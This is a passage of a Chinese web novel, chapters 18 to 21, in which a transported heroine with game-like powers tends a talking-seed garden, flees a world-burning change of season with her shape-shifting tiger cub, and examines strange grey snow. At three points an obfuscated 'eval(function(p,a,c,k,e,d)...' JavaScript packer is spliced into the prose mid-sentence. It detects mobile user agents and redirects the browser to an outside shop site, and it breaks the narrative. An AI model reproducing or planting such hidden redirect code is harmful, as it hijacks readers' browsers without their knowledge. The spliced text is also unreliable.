接下来，颜辞云回到房间，从储物箱里拿出了自己在鸟林里收集来的种子，准备种植。 事实上，颜辞云还考虑过要不要种树，因为在颜辞云砍树的时候，她的确顺手收集了一些树种。 而树这种东西，不正是小花园的标配吗？ 一座小花园里，如果一棵树都没有，就会让人感觉少了点什么。 只不过，颜辞云现在到底是住在地底，光照对她和小花园来说，都是稀缺也重要的东西。 如果她还要在地底种树，那当树长大后，大树下头的小花小草还活不活了？ 所以，还是随便种点花花草草、灌木果子好了。 颜辞云掏出一把种子，也不管这些种子对应着什么——反正她也看不出来——全都一股脑往种植区种了下去。 而种着种着，颜辞云心生微妙，感到自己与这些种子好像有了什么奇特的联系，甚至有些时候，她好像还隐约听到了这些种子的……声音？ 真的假的？ 种子的声音？ 自己该不会是幻听了吧？？ 颜辞云停下动作，看着自己面前的种植区，脸色严肃，严正以待，精神高度集中，以最大的努力摒弃外界可能的影响。 然而，随着颜辞云注意力的集中，她听到的“声音”不但没有淡去，反而越发清晰了。 【##*&￥%&&@%&*】 【@！#￥#%￥#】 【*&**%@￥#&！】 那是颜辞云从来没有听过的语言，或者说，这声音能不能称得上语言都很难定论。 可偏偏，颜辞云竟然听懂了这些声音都在嚷嚷什么。 颜辞云侧头，看向自己刚种下去没多久、但却叫嚷得最大声的球茎状种子。 【哇！好冷！好冷！好冷！！我一定要在这么冷的天气生长吗？】 叫嚷声第二大的，是不远处种下的毛茸茸的种子。 【太挤了！太挤了！这么小的地方怎么能种这么多种子？快把它们都挪开！这片地是我的！！】 紧接着，是与它同处一块土地的种子们的抱怨。 【太霸道了！】 【我们都没有抱怨你抢我们的养分呢。】 【你自己出去单开一户吧，呸！】 【就你聒噪，烦。】 颜辞云听着这些乱七八糟的声音，几乎是茫然地抓了抓自己头发，将目光投向了最怯生生的、同时似乎也最好说话的种子上。 带刺的种子：【水，我需要水，很多很多的水……这里太渴了！】 颜辞云挑了挑眉，用【2木板+1草绳】做出水壶，从屋内的生活区里取了水，来到这种子的面前，轻轻浇水。 第一遍，稍稍有点干结的泥土变得湿润起来。 带刺的种子精神了一点，但还在叫渴。 于是颜辞云又浇了第二遍、第三遍，直到泥土彻底湿润后，这种子的叫渴声才终于停下。 而与此同时，这颗种子附近移栽的灌木丛却嚷嚷了起来。 【太多水啦，我的根会烂的！快把我移走，移走！】 颜辞云迟疑：这些话也太有逻辑了吧……竟然还会随着场景的改变而改变。 难道这些真的不是自己的幻觉？ 蓦地，颜辞云想到了什么，打开自己的人物界面，再次审视【木·龙魄】的技能。 【木·龙魄（lv1）：在木龙之魄的影响下，你获得了它生前的微弱能力，并提高了与龙形动物的亲和性，当你经过龙的领地时，你将不再受到龙种力场的阻拦。】 颜辞云若有所思：“龙魄，但是木属性……难道，这就是‘木龙’的能力？” 为了测试木龙龙魄到底带给了自己什么能力，颜辞云先是试着摸了摸手里的种子，像是摸小动物一样。 但这并没有什么用处。 没有种下去的种子似乎都是沉睡状态，只有种入土地后，才会苏醒过来，开始对她叽叽喳喳。 接下来，颜辞云又试着与种子们沟通。 而事实证明，无论是颜辞云说出口的还是心里想的，只要颜辞云有“传达”的想法，种子们就能听到，并成功与颜辞云沟通。 只不过这些种子就像是小孩子，只有吃吃喝喝的本能，所以颜辞云如果想从这些种子上得到什么有用信息，那就真是想太多了。 之后，颜辞云又试着向这些种子“传达”了许多念头，比如说“安抚”，“噤声”，甚至是“生长”。 而夸张的是，这些想法竟然都如同“命令”一样，全都被执行了！ 只是顷刻间，原本埋在土地里的种子生根发芽，抽条生枝。 以颜辞云为中心，她周遭十米内的所有果子、浆果丛、灌木丛、以及根茎作物等，竟全都进入到了下一阶段！ 但作为代价的是，颜辞云早起时还十分饱足的胃袋空了许多，似乎瞬间将昨晚吃掉的龙肉消化了大半。 与此同时，种植区里那些刚从森林里挖来没多久的湿润泥土，也变得干燥了许多，拿手轻轻按压时，还能感到下头的板结。 如果是之前的颜辞云，她肯定是不明白这样的土壤都代表了什么。 但现在，颜辞云只是一瞧，心中就恍如生而知之一样，生出明悟：这是土地里的养分和水分都不太够了。 “看来，哪怕‘木龙’能做到催长这样神奇的事，却也是会受到土壤、水分、养分之类客观条件的限制啊……当然，也有可能是我接收到的木龙能力本来就不多。” 毕竟，等级1的木龙龙魄，仅有木龙的【微弱能力】而已……哦，错了。 颜辞云看了自己的技能栏，意料之外又情理之中地发现，原本lv1的【木·龙魄】和【龙形】，不知道什么时候偷偷升了一级，来到了lv2。 果然，想要提升【龙】的技能，就是得吃龙。 只是，也不知道这几个技能的等级上限是多少，可千万别像是堆叠上限一样给她来个999啊！ 颜辞云摸了摸自己的胃部，觉得以自己的胃袋和体力储量，应该够她用个两三次催长的能力。 只不过催长完后，颜辞云的这片小花园，就该变小沙漠了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只见，原本只有四个通风口的地下，不知名的发光苔藓在石壁上错落有致，像是反射着朦胧月光，将昏暗的地下洞穴刷上了一层细腻的柔光。 而在安全屋外那片用栅栏围出的小花园里，颜辞云随手拾来的鹅卵石铺在泥土上，顺着小木门蜿蜒入内，并分割出了一块块不同的种植区。 某些种子喜欢大量的水，那就令它们离浇水的木桶和水壶更近一些，好让颜辞云每次从外头回来时都能顺手为泥土加点水。 而某些种子喜旱，那就把它种在离四处天井最远的地方，让平日里飘下的雨水也好、浇下的河水也好，都少从这边流过。 颜辞云甚至还给自己的安全屋的南侧、也就是被颜辞云划做日后厨房区的位置处掏空了一个格子，装了一扇木窗，木窗外正对着一片长势正好的浆果丛。 只要颜辞云推开木窗、稍稍探身，就能伸手摘下甜美的浆果，当作饭菜的添头，或者平日的小零食。 当然，颜辞云还在这浆果丛旁留了点位置，准备日后移栽一点大蒜香料调味料之类。 至于安全屋的后门那片区域，颜辞云是打算种点花儿的，只是暂时没找到自己喜欢的。 而如果可以，颜辞云希望自己能再把蜂箱的合成表试出来，这样一来，后院又有鲜花又有蜜蜂。 美观有了，蜂蜜也有了。 这不是超棒吗！ 站在自己的这片小花园前，颜辞云开始畅想未来。 而这时，睡到日上三竿的小白虎也醒了，一边打哈欠一边向颜辞云咪咪嗷嗷地乱叫。 颜辞云侧头看这小猫咪，惊讶发现自己这次似乎听懂了点儿这“嗷嗷”“喵喵”。 “小白，你这是……饿了？” “咪~~” 小白虎拿自己的毛脑袋狂蹭颜辞云的尾巴，像是点头。 颜辞云心中嘀咕：难道这木龙龙魄不但精通植物语，难道还精通百兽语？ 刚好，颜辞云觉得自己也是时候该吃饭了，于是她俯身抱起小白虎，轻拍它的毛脑袋。 “好了，小白乖，不喵喵了，我们这就吃饭去！” 19. 第19章 今日，阳光明媚，风儿喧嚣。 离开凉爽又相对恒温的安全基地后，颜辞云站在外界的阳光下，看到自己手臂的皮肤上炸起了细细的鸡皮疙瘩。 有点儿凉。 今天吹的是北风。 但离巢的鸟儿们已经克服恐惧、回到森林。 在渐起的花香、鸟鸣和小动物的窸窣声中，颜辞云揣着小白，走过石原，游过河流，来到森林的那一面，把小白放在昨晚搭好的烤架旁，让小白乖乖坐好。 而颜辞云自己，则是提着水桶，一边清洗烤架，一边琢磨着要不要抽点时间出来把这简陋的烤架升升级。 毫无疑问，以后河边应该就是她的厨房之一了。 日后安全基地里的厨房，在搞出好用的排气扇前，大约只能做点冷食和水果沙拉之类。 而如果想要做点气味重的吃食，还得是排水接水散味都方便的河边。 与此同时，颜辞云是不能只靠烤肉度日的，所以煮锅、灶台、切菜板、菜刀之类的一应厨房用具，都应该尽快准备起来了。 可是，这些东西又该怎么得到呢？ 灶台倒是好说，以系统那自动粘合方块的能力，颜辞云随随便便就能拿石块石砖搭建起来，甚至不用考虑炉灶的火力问题——丢几个火炬就是几级的火力，多简单！ 可问题是，锅呢？锅怎么办？ 也不知道为什么，颜辞镜至今都没从石原挖出铁矿石，其他的各色矿石也全都没有，就好像石原真的只是“石”原，再多没有！ 所以，她难道真的只能做一个石锅？用一立方米的【原石块】和板板正正的【石砖】？ 她没这个手艺啊！ 还有菜刀，菜刀也是一个重要问题。 之前的颜辞云，一直都是拿木剑当菜刀，凑合着用，后来则是拿石剑凑合，可她总不能一直凑合吧？ “剑”这种造型的工具，根本就不适合拿来当菜刀，所以她如果想要吃上点正经饭菜，还是得找个趁手工具才行。 “要不然……找点锋利的石头？” 锋利的石头。 在关键词联想下，颜辞云很快从自己乱糟糟的脑袋里找到了“黑曜石”。 颜辞云依稀记得，黑曜石就曾在原始时代被广泛用于工具和武器的制作。 它的边缘非常锋锐，很适合用来切割什么东西，如果颜辞云能搞到一块黑曜石，那么拿它来当菜刀想必是绰绰有余的。 可问题是，黑曜石这东西是怎么来的？要去哪里寻找它？ 对此，颜辞云两眼一抹黑。 当然，除了从【矿石】中寻找菜刀之外，颜辞云还思考过能不能找到一些生物上搞到“菜刀”。 比如说鱼鳞。 颜辞云早就发现了，这个世界、或者说这条河流里的鱼儿，鳞片都非常锋锐，某种程度上来说也能叫“杀人鱼”，普通人来了这儿，是绝没有办法讨得了好的。 可是，这些鱼儿的鳞片锋锐归锋锐，但要么太小，还不够颜辞云一手握的，要么太软，稍一用力就变了形。 而至于蚌壳——是的，颜辞云被大大加强过的视力让她很容易就发现了河底的蚌类——也并不适合用来当刀。 颜辞云看得很清楚，河底的这些河蚌十分奇怪，并不像是正常生物，而像是被某只手精心塑造过的艺术品。 什么叫艺术品？ 不能吃——河蚌的肉质苦涩发干，像是鸡胸肉拌柠檬皮，无糖无油无盐的那种，根本吃不下一口。 不能用——河蚌的蚌壳如珍珠一样洁白，本该锋锐的边缘则被某种特殊物质包了边，摸上去细腻光滑，哪怕是让婴儿握在手里把玩都没有问题。 这种只具备“美”的功能的物品，就叫艺术品。 对如今的颜辞云而言一点用都没有。 所以，就真的没办法了吗？ 这边，清洗烤架中的颜辞云，思路渐渐拐进了死胡同。 而另一头，小白则没想那么多，呲溜滑下了河，毛尾巴像螺旋桨一样转了两圈后——哗啦！ 下一秒，它的脑袋从河面冒了出来，嘴里还叼着一条比它还大的鱼。 颜辞云：“……” 好快！ 虽然知道这小家伙捕猎超快的，可颜辞云还要说——好快！ 小白四爪踩着水，轻快跑上了岸，口一松，把挣扎不休的大鱼丢到颜辞云面前，并且细心地用爪子踩住，免得这大鱼挣扎太过，直接蹦哒回河里。 紧接着，小白抬脸看向颜辞云，心机地露出它无死角的毛绒小圆脸，眨巴着大眼睛，夹着嗓子向颜辞云咪呜不停。 “小机灵鬼。” 颜辞云笑着戳了戳这小猫咪的脑袋，接着一边生火一边去鳞，甚至，她还顺便用尾巴尖按住了想要再去河底多捞几条大鱼的小白，嘱咐道：“吃一条鱼垫垫肚子就行了，别吃太饱了，等会儿，我带你去吃点好东西！” 小白眨巴了一下眼睛，乖乖坐回了原地。也不知道是不是颜辞云的错觉，她总觉得今天的小白似乎比昨晚更容易听懂她的话了。 是小白越来越聪明了？ 还是龙魄的影响真的如此立竿见影？ 颜辞云一边烤鱼，一边去看小白，而小白则一无所觉，眼馋地盯着烤鱼，不断地伸舌头去舔自己的嘴巴和鼻尖。 而当颜辞云终于烤好了鱼，把烤鱼递给它后，这小白老虎却没有立即吃掉自己眼馋已久的猎物，反而是咬下了一大半的鱼，殷勤递到颜辞云的尾巴边上。 颜辞云不确定看它，指了指烤鱼，又指了指自己：“小白，你这是……给我的？” 小白用力点头。 颜辞云震惊，而后感动地摸了摸这个小朋友的头。 天呐，这个小家伙才多大呀？ 它吃饭时竟然还会想到家长？！ 甚至它还把大的那一半给她吃小的留给自己吃？ 世上怎么会有这么懂事的小猫咪呀！ 颜辞云本来打算推拒，可她转念一想，又觉得对小朋友的教育应该从小抓起。 小朋友有孝心是好事，而家长对于孩子的这份孝心，应该坦然接受，回头再从另一方面补偿回去，而不是在夸奖小朋友后又说自己不需要，给小朋友留下一种只要做做秀就能得到表扬的坏影响。 养老虎也是要走心的啊。 毕竟，像小白这样活泼可爱聪明有孝心的小朋友，万一长大后变成只会吃吃喝喝打游戏的肥宅，那可就太糟糕了！ 颜辞云想着，郑重接过小老虎的孝心。 虽然，没经过处理的烤鱼鱼腥味很重，没放过盐的烤鱼味同嚼蜡、对吃过龙肉大餐的颜辞云来说简直难以下咽，但——嗐！ 这不是在养孩子嘛！ 当家长的，就是得以身作则，从小教导，潜移默化。 鱼难吃怎么了？又不是没吃过！ 最多，呃，最多接下来把晒盐的事提上日程。 反正自己离海这样近，想要晒出盐来应该很简单吧？ 颜辞云乐观地想着。 就这样，颜辞云和小白一块儿分吃了这条快有十斤重的大鱼。 小白三斤，颜辞云七斤。 不过，这条足以供一家五口吃几天的十斤大鱼，丢进颜辞云和小白虎的肚子里后却连个响也没有，只能算是颜辞云说的那样，“垫垫底”。 接下来，颜辞云又拿出昨晚拆掉的便携式帐篷，取下最大的一块防水布，展开，在四角打洞，穿上颜辞云从蜘蛛女王巢穴搜刮来的蛛丝，用力捆好。 就这样，一个粗制滥造的降落伞，就基本算是做好了。 没错，在有了第一次穿过龙种力场的经验后，颜辞云这次可不打算再用“左脚踩右脚”的方式飞向那具龙尸了。 她准备抱着小白，背着降落伞，从龙尸的正上方跳下。 这可远比“左脚踩右脚”远来得方便、快捷、准确。 一旁，小白趴在河边，长长的毛尾巴左摇右摆，漂亮的眼睛滴溜溜地转着，专心致志地看着颜辞云徒手捏降落伞。 而就在颜辞云觉得面前这只用防水布和蛛丝捏出来的降落伞已经大功告成了的时候，小白突然站了起来，围着降落伞转了几圈。 “小白，别闹哦，一会儿我们还要靠它——” 没等颜辞云说完，下一秒，“噗”的一声。 在颜辞云目瞪口呆的注视下，原本毛茸茸可爱爱的小老虎，竟然瞬间变成了和地上一模一样的“降落伞”，悠然飘落在地。 啪嗒。 两个仿佛复制粘贴出来的“降落伞”，堆叠在了地上。 但很快的，最上头的那只“降落伞”动了动，像是有点儿被灰尘呛到了，发出了“阿嚏”一声，震得两只尖尖的猫耳朵瞬间弹出，暴露了它的身份。 下一秒，它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而至于利用小白的天赋能力，让它变成真正的降落伞供颜辞云使用这种事，颜辞云的确想过，但暂时不做考虑。 毕竟小白肉眼可见的年幼，能力并不稳定，一个喷嚏都能震出两只猫耳朵。 再加上颜辞云此刻还不确定自己能不能将小白也带进龙种力场里。 万一颜辞云开开心心背着小白牌降落伞跳进龙种力场里，小白被力场排斥、啪嗒贴在天上当壁画，而她则冲进了力场、从万米高空自由落体怎么办？ 所以，谨慎！ 谨慎为上！ 又不是到了没法可想的地步，做什么要冒这个险呢？ 这样想着，颜辞云抱着小白，掏出小木船，就准备出发了。 但，也不知道为什么，当颜辞云立在船头，划动着船桨，让小木船顺流而下时，颜辞云总觉得有哪里不对。 这一刻，一种极微妙的、似是而非的感笼，罩着颜辞云周身。 颜辞云恍惚感到，好像有什么特殊的事发生了……可能是即将发生，又或许是正在发生。 她能察觉到“它”的存在，却又始终看不清真相…… 错觉吗？ 颜辞云握紧船桨，皱眉沉吟。 而下一秒，颜辞云蓦地惊醒，发现了一件事： 森林里的鸟鸣声、小动物在草叶中穿行的窸窣声，不知道什么时候消失不见了！ 明明在早晨时，这些声音还在森林里回荡，昭示着巨兽大战的影响已经逐渐从这片森林褪去……可是从什么时候开始，这些小动物的声音又消失不见了？ 还有—— 河面上的水纹！ 这条河流的水波，是不是不太对劲？ 明明颜辞云在顺流而下、在划动船桨，可这条河流的水面纹路，为什么是一圈一圈的？ 就像是有某种无形之物被用力砸入河中，震起道道波纹，又像是、又像是—— “地震？！” 颜辞云脱口而出。 下一秒，颜辞云否定了： “不！不对！不是地震！是——” 是有某个庞然巨物，正向这边走来！！ 这一刻，颜辞云蓦然惊醒，骇然从远方雷山上永不停歇的闷雷声中，辨认出了另一道“雷声”。 轰！ 轰！ 轰！ 它步步逼近。 它越来越近！ 颜辞云不敢回头，手上船桨用力一划，小船彻底飘入大海，脱离了岸上传来的危机与压迫感。 就像是飞鸟入林，江流归海。 直到这一刻，颜辞云才终于松了口气，回头望去。 20. 第20章 换季 那是何等可怕的一幕啊！ 只是向身后投去了一眼，颜辞云就几乎骇得动弹不得。 在来到异世界的这几天里，颜辞云每时每刻都能听到荒野中雷山发出的轰鸣声。 甚至哪怕颜辞云在地底的安全屋里时，也能在触摸到石壁时感受到、抬头望天时观察到那雷鸣带给世界的每一分影响。 这个异世界，就仿佛是由那座贯通天地的雷山支撑起来的，而时时刻刻响彻天地的雷声，则是它骄傲无比的宣称。 可这一天，这一刻，那座雷山的雷鸣声消失了。 因为另一道可怕的“雷鸣”取代了它—— 轰！ 两道庞然而不可思议的蓝焰，从无限高无限远的天空降落，像是从世界之外挤进来的两条手臂，只是轻轻合掌，就悍然震碎了颜辞云以为永不会消散的雷云！ 无尽的水与雷、风与火纠缠在一起，恍如天崩地裂！ 但偏偏不知为何，这样恐怖的一幕竟没有发出半点多余的声音，也没有泄露半点多余的气息，以致于窝在河边一角的颜辞云对此一无所觉。 就像是蚂蚁虽能够预知暴雨、预知地震，却无法预知灭世的洪水一样！ 而直到灾难降临、甚至开始无限向外扩张和蔓延后，颜辞云才终于听到了余波蔓延而来的咆哮—— 轰！ 第一声。 围绕在雷山上的庞大雷云，被瞬间冻结成了蓝冰！ 它们似轻似重，像是漂浮在无重力太空中的卫星。但很快的，重力攀延而上，它们的身形不再轻灵，而是开始浮动、碎裂，最终化作一颗颗巨大的陨星，从高空坠落，连绵不绝！ 颜辞云听到的“追赶”声，正是那些四下扩散、几乎要毁灭整个世界的蓝色陨星！ ——这是什么？ 轰！ 又一声。 无尽远无尽深的地底，一道鲜艳的红光冲天而起，激怒地迎向天空肆虐的蓝色火焰！ 这红光炽热迫人。 哪怕颜辞云与它隔着这样遥远的距离，甚至此刻正身处理论上水气最充足的海上，却依然感受不到半点湿润，反而觉得周遭的空气与自己的肺部都像是着了火，每一次的呼吸都像是拉动火房里的风箱，只会让火焰更为炽烈。 而更不可思议的是，那无论怎么看怎么感受都应该是火焰的红芒，却有着水一样百变不定的形态。 当它从地底骤然出现，狂暴袭向天空的蓝焰时，那蓝焰也似乎早已察觉，两条“触手”倏尔化作一条手臂，握拳砸向红芒。 轰！ 第三声。 红芒如同被砸入巨石的静湖，“水花”四溅。 但那“水花”的温度可怕得不可思议，触之即溶，沾之则燃！ 颜辞云清楚看到，在红与蓝暴走的天上，分明仅有两滴红色“水花”溅落在森林边缘，可仅仅是三个呼吸后，火光冲天！ 暴烈的火焰在森林燃烧起来，将颜辞云的视线统统染红，并向着四周疯狂蔓延。 十秒钟前，这片火焰还仅在靠近雷山的西面摇晃。 十秒钟后，火焰的舌头就已经贪婪地舔舐到了森林中部。 甚至当又一滴红色“水花”溅落在远方海面时，颜辞云竟能隐约感到自己身下的大海都开始发烫，就连水位都开始缓慢的速度下降！ ——这些都是什么？！ 颜辞云回过神来，脸色大变。 颜辞云曾以为，这个异世界里最危险的东西，莫过于一周前的巨兽大战，莫过于凝固了整片海域的黑暗空间，莫过于连尸体都能横断海洋的巨龙都只能在对面面前折戟沉沙的未知之敌！ 颜辞云还以为，自己在系统的帮助下，正以不可思议的速度向异世界顶端掠食者靠近，以为在吞噬了巨龙的尸体后，自己怎么也算是有那么点儿自保之力了。 可现在，颜辞云恍然发现，这个世界的危险程度远远超出她的想象。 ——什么叫神仙打架？ 看那挥手间撕裂天空、冻结雷霆，令雷云化作陨星降落的蓝焰。 再看那仅仅是出现就令天地色变，两三滴飞溅“水花”就焚山煮海的红芒！ 虽然无意，却也毁灭众生——这才叫神仙打架！ “不好！” 蓦地，颜辞云回神，抱着小白，毫不犹豫地跳下木船，潜入深海。 小白——这只被颜辞云命名为“白虎”的小家伙，此刻也像是察觉到了什么，非常乖巧地缩在颜辞云的怀里，抱着颜辞云的脖子，没有半点反抗，任由颜辞云带它潜入深海。 也还好小白并不是真的老虎，不会有溺水的问题。 因为几乎就在颜辞云跳下船的下一秒，那木船也在海面上凭空自燃了起来！ 颜辞云没有回头，竭力向深海游去，可那份骇人的灼热却一直一直追逐在她的身后，哪怕颜辞云上一秒将它甩开，感受到了海水应有的冰凉，可下一秒，那危险的灼热感就再一次顺着海水蔓延而来！ 颜辞云深知，这样下去绝不是个办法。 可是……她还能有什么办法呢？ 当驱星逐月、焚山煮海的神仙们大打出手时，既不能上天入地也无法逆天改命的凡人，除了祈祷自己离神仙足够远之外，难道还有其它的办法吗？ 这一瞬间，颜辞云几乎是有些绝望的。 因为——焚山煮海。 这简简单单的四个字，代表着的却是凡人难以承受的灾难！ 而倘若海洋都无法阻止逼近的灾难、都会在这场灾难下化作虚无，那她一个异界而来的凡人，又有什么办法能够避开这场灾厄？ 明明、明明海洋已经是颜辞云所能想到的最有力的也是最后的一道保护屏障了啊！ ……不，等等？！ 最有力？ 是的，是的，如果是在普通的、仅有凡人的世界里，海洋的确是高温下的最后一道屏障。 但在这个世界，“海洋”却远不是最终答案！ “龙种力场！” 一道灵光闪过，近乎战栗的激动涌上心头。 颜辞云终于明白，海洋其实并非是她真正的保护伞。 因为那条横断海洋的龙尸、阻绝一切的龙种力场，才是她最后的庇护所！ 想到这里，原本开始迷茫与迟疑的颜辞云，立即恢复了精神，游得越发快了。 在她的头上，海洋一寸寸下降，近乎沸腾的海水追逐着颜辞云的脚步。 颜辞云感到，自己就像是一只青蛙，被炖在名为“海洋”的大锅了。 颜辞云甚至还感到，自己冰冷的蛇尾不知道什么时候升温了数度，就连皮肤都在发烫！ 不过，还好。 在颜辞云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467114|152846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真正被煮成一锅蛇汤前，她冲进了龙种力场里，打开了自己粗糙的降落伞，在骤然冰凉下来的空气里悠悠下降。 而更妙的是，小白也被她一起带进了力场里！ 颜辞云想想，觉得也对，龙种力场就应该是这种唯心的东西。 当它要排斥时，它会将其它的一切全部排斥，比如说被压成缎子一样的大海； 而当它要接受时，则会全部接受，包括颜辞云、颜辞云背上的降落伞，以及颜辞云怀里的小白。 否则的话，颜辞云第一次进来时哪能靠吐丝这个技能靠近巨龙？ 早在蛛丝出现在力场里的瞬间就被排斥了出去才对！ 带着淡淡的余悸，颜辞云抱着小白，一边在半空降落，一边观察着天空，以及自己不远处的大海。 明明前一秒，在颜辞云冲进龙种力场、打开降落伞前，那海水还在匀速下降。 可后一秒，随着颜辞云打开降落伞，她便骇然看到海洋在她面前以肉眼可见的速度下降。 就像是有一个通向黑洞的巨大抽水机从天而降，将海水鲸吞！ 随着越来越多的“红水”落入海洋，散入空气。 先是靠近陆地的大陆架与大陆坡露出真容。 紧接着，藏在海底的海岭与洋盆暴露于天光下，在炽烈的空气里蒸发掉了淤泥里的水汽，变成一大块一大块干涸的土地。 最后是海沟。 一条条原本躺在海底，如恶鬼之口一样的深渊，露出了它们干瘪的牙床，将它们的惊恐与虚弱统统暴露在了颜辞云的眼底。 而之后，就在颜辞云用几乎兔死狐悲的目光注视着它们时，颜辞云突然抖了抖，自她白天出门时就感受到的那一丝凉意，竟然这个世界都焚煮起来的时刻，再次袭来！ 颜辞云愕然而茫然着，用不可思议的目光望向天空。 而在颜辞云的目光尽头，有什么黑白掺杂的、像是煤灰又像是大雪一样的东西，纷扬而下。 它们姿态轻盈，后发先至，比颜辞云更先一步落在如空桶空盆一样的“海洋”里，很快就堆积起了一层细细密密的、让人望去莫名有些不适和恐惧的灰白之色。 “这……这又是什么？” 颜辞云看着这样的一幕，看着这些灰白短短片刻间就铺满了“海底”，不由得喃喃自语。 小白把毛茸茸的尾巴绕在颜辞云手臂上，轻轻咪了两声，声音出乎意料地镇定。 反倒是原本还算镇定地颜辞云，在听到这两声咪呜后有些不太镇定了。 “等、不，等会儿，小白？你刚刚说什么？！” 颜辞云目瞪口呆，低头看向自己怀里的小白，几乎想要掏掏自己的耳朵。 “我听错了？还是你说错了？你刚刚说——这是什么？” 小白淡定极了，又咪呜了两声。 而这两声咪呜落在颜辞云耳里，则自动转化成了她能听懂的话语： 【别怕，妈妈，只是换季了。】 【冬天就是这样的，不用害怕。】 颜辞云：“……” 颜辞云：“…………” 换季？ 你说那种神仙打架、陨星天降、焚山煮海、移星换月，几乎跟世界毁灭都没什么两样的景象，叫—— 换季？！ 谁家好世界换季搞这么大阵仗啊！！！ 21. 第21章 捡垃圾 冬季到来了，以一种惊天动地的姿势。 虽然仔细想想，这件事并非毫无预兆，比如说颜辞云早上出门时就感受到过寒意，比如说颜辞云在安全基地的小花园里种下种子时就听到过它们关于“冷”的抱怨…… 但颜辞云一不是观察细致入微的大侦探，二不是智商220的六岁萌宝带妈跑，她只不过是一个弱小可怜又无助的失忆现代人而已，除了稍微有点儿能吃之外一无是处，又怎么可能轻易就将这样的细节联系起来呢？ 所以颜辞云也不能会想到，一个本该普普通通的冬天，竟然也能来得这样轰轰烈烈，并将颜辞云原计划里的所有生活与安排搅得一团乱。 而颜辞云能从这件事里得到的唯一好处，或许……或许就是她眼中的世界终于被彻底补全了色彩？ 是的，就在颜辞云亲眼见到从天而降的蓝色火焰那一刻，颜辞云的世界就被补上了最后一环色彩—— 蓝。 可是，比起被暂时困在龙种力场、失去与安全基地的联系这件事，单纯的“补全色彩”，又对颜辞云接下来的生活又有什么影响和好处呢？ 颜辞云暂时想不出来。 此时此刻，颜辞云只是非常担心石原地底的安全基地，担心石壁上那些刚移栽好没多久的漂亮苔藓，担心小花园里那些还没好好扎根的浆果丛与种子。 “唉……” 只要一想到不得不与自己刚布置好的安全基地断联，颜辞云就忍不住地叹气，忍不住地想要回到自己的安全基地做点最后的抢救。 但没有办法，冬天虽然已经到来，龙种力场外的世界也有灰白色的“大雪”纷扬落下，可恐怖的高温并没有立即离开。 颜辞云清楚看到，此刻，无垠的天空被冰冷的蓝与躁动的红分割两半，它们势均力敌，边缘处时而交融模糊，分不清彼此，时而泾渭分明，剑拔弩张！ 当沁透的蓝色覆盖天空时，颜辞云观察到，龙种力场两边堆积的并不被她熟悉的“灰白”色大雪，在无形力量的影响下飞快转化为了颜辞云熟悉的白净雪色； 而当危险的红色取代冷蓝后，那些熟悉的雪色又会极速褪去，任由不详的灰黑色覆盖，像是堆积起来的煤灰，又像是世界焚烧后飘扬的余烬。 颜辞云对这种又黑又白、黑黑白白的奇特物质十分好奇，在降落到龙种力场底部后，第一时间想要搞点“灰雪”进入龙种力场里研究一下。 于是颜辞云小心地将系统工具探出结界，捣鼓了起来。 唯心的龙种力场没有阻止颜辞云手中系统工具的进出。 可从前在颜辞云手里无往而不利的系统工具，这一次却铩羽而归。 颜辞云先是拿出了铲雪常用的石铲。 当颜辞云用石铲对着龙种力场外的“灰雪”挥舞了几下后，“灰雪”底层的确凭空消失了一立方米，可本该掉落的【X方块】类型的素材，却并没有如期出现。 颜辞云愣了愣，又框框挖了两立方米，发现真的不掉落素材后，便将手里的石铲换掉了。 可哪怕颜辞云从锄头换到镐子再换到斧头甚至换到长剑，都无法挖到有用的东西，只能看到面前的“灰雪”不断进行消消乐。 “灰雪”-1-1-1…… “不应该啊……” 颜辞云捏着下巴，心里满是困惑。 “挖雪……不就是该用铲子吗？” 砍树用斧头，挖矿用稿子，开垦用锄头，挖雪用铲子——这不是理所当然的吗？ 怎么这次就行不通呢？ 还是说这种“灰雪”有什么特殊的地方？ 颜辞云稍做思考，脑瓜一转，很快想到了一个很不“游戏”但很“科学”的办法。 拿容器装！ 刚好，颜辞云物品栏里有许多桶没来得及放进安全基地的【装满水的木桶】。 她拿出一个木桶，倒掉木桶里的水，接着把空桶的桶口朝上，外倾45度角，探出龙种力场，把木桶口怼进“灰雪”，再用手托着木桶底部向上一推—— 很好，“灰雪”顺利落入木桶。 颜辞云松了口气：还好这个世界不是完全按照游戏规则来的。 但是，颜辞云很快发现自己的这口气松早了，因为当她把装了“灰雪”的木桶往龙种力场里带时—— 啪！ 捏在颜辞云手里的木桶板面，瞬间被颜辞云掰下大半，捏得粉碎！ 颜辞云看看自己的手，又看看力场外的小半桶“灰雪”，目瞪口呆。 “雪……有这么重吗？” 颜辞云知道自己粗制滥造的木桶装不了太多东西，所以颜辞云这次只装了不到小半桶的雪——体积连一个矿泉水桶的大小都没有！ 可就是这么点儿东西，竟然就重到她掰坏木桶也不进来？ 颜辞云不信邪，又拿出了一个木桶，如法炮制，再次装了小半桶“雪”，只不过这次回收时，颜辞云学乖了，先是连桶带“雪”收进物品栏后，再通过系统，把它从物品栏里拿出。 【装满炁的木桶】 嗯？炁？ 什么炁？ 是“炁功”的炁？“一炁生万物”的炁？ 还是“清炁上升为天，浊炁下降为地”的炁？ 颜辞云好奇拿出桶，放在地上，和小白一左一右，围着它打量起来。 但，无论颜辞云左瞧还是右瞧，上瞧还是下瞧，它看起来都只是普普通通的灰白色雪状堆积物啊！ 